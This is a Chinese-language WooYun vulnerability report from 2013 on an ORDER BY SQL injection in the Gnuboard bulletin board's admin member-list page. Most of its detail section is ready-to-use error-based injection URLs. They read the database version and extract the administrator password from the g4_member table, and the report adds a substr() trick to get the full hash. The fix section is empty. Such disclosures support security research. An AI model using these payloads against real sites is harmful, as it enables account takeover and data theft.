漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-017698
漏洞标题:Gnuboard Injection Vulnerabilities
相关厂商:Gnuboard
漏洞作者: 路人甲
提交时间:2013-01-23 10:55
修复时间:2013-01-23 10:55
公开时间:2013-01-23 10:55
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:5
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-01-23: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-01-23: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
kr比较流行的bbs。只是后台注入思密达~
详细说明:
此注入属于order by后的注入。可通过order by a,(select语句)执行。此时,括号内的select语句仅当做一个子查询进行使用,当语句语法正确时返回正常页面,无法获取数据。
此时我们可以使用mysql报错注入来获取数据。如:
http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select version()),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)
获取管理员密码:
http://127.0.0.1/gnuboard/adm/member_list.php?sst=mb_intercept_date,((select+1+from+(select+count(*),concat((select mb_password from g4_member limit 0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)>0)
当执行以上语句的时候,错误提示为:
1242 : Subquery returns more than 1 row
原因:此语句默认读取长度为65位,而mb_password为varchar类型,长度为255。此时我们使用substr()函数来限制读取长度。即:substr(mb_password,1,55)
即可获取管理密码。
漏洞证明:
修复方案:
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝